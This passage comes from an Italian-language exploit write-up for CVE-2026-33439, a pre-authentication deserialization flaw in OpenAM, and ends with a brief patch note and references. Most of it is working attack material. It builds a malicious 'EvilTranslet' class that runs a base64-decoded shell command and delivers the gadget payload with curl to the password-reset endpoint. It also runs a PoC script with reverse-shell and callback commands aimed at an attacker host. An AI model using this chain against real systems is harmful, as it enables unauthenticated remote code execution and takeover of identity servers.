    B64CMD=$(echo "$CMD" | base64 -w 0)
    
    cat > /work/EvilTranslet.java << EOF
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
    
    PAYLOAD=$(cat /work/payload_shell.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    Uso dello strumento PoC

    Lo script Python automatizza l'intera catena: compila EvilTranslet, costruisce la catena di gadget tramite PayloadBuilder, codifica con URL-safe base64 e consegna.

    ---```bash

    Copy JARs to the exploit directory first

    [attacker@lab /work]$

    touch Exploit_CVE_2026_33439.py

    vi Exploit_CVE_2026_33439.py

    python3 Exploit_CVE_2026_33439.py --help

    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"

    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"

    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/

    python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080

    root@kitploit:~
    ---
    ---
    ---
    
    
    
    <div id="mitigation"/>
    
    ## ***🛡️ Mitigazione***
    
    - **Patch:** Aggiorna a **OpenAM 16.0.6** o versioni successive. La correzione estende WhitelistObjectInputStream a ClientSession.deserializeAttributes(), in linea con la protezione già applicata a ConsoleViewBeanBase.deserializePageAttributes() dopo CVE-2021-35464.
    
    
    
    ---
    ---
    ---
    
    
    
    <div id="references"/>
    
    ## ***📚 Riferimenti***
    
    - **[CVE-2026-33439 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-33439)**
    > Voce del National Vulnerability Database per CVE-2026-33439.
    
    - **[GitHub Security Advisory GHSA-2cqq-rpvq-g5qj](https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj)**
    > Advisory ufficiale con analisi della causa principale, codice interessato e dettagli sulla catena di gadget.
    
    - **[CVE-2021-35464 - ForgeRock AM Pre-Auth RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-35464)**
    > La vulnerabilità progenitrice che ha introdotto WhitelistObjectInputStream per jato.pageSession.
    
    - **[Pre-Auth RCE in ForgeRock OpenAM - PortSwigger Research](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)**
    > Ricerca originale su CVE-2021-35464 che descrive il meccanismo di deserializzazione JATO.
    
    - **[CWE-502 - Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)**
    > Voce MITRE CWE che descrive la classe di vulnerabilità.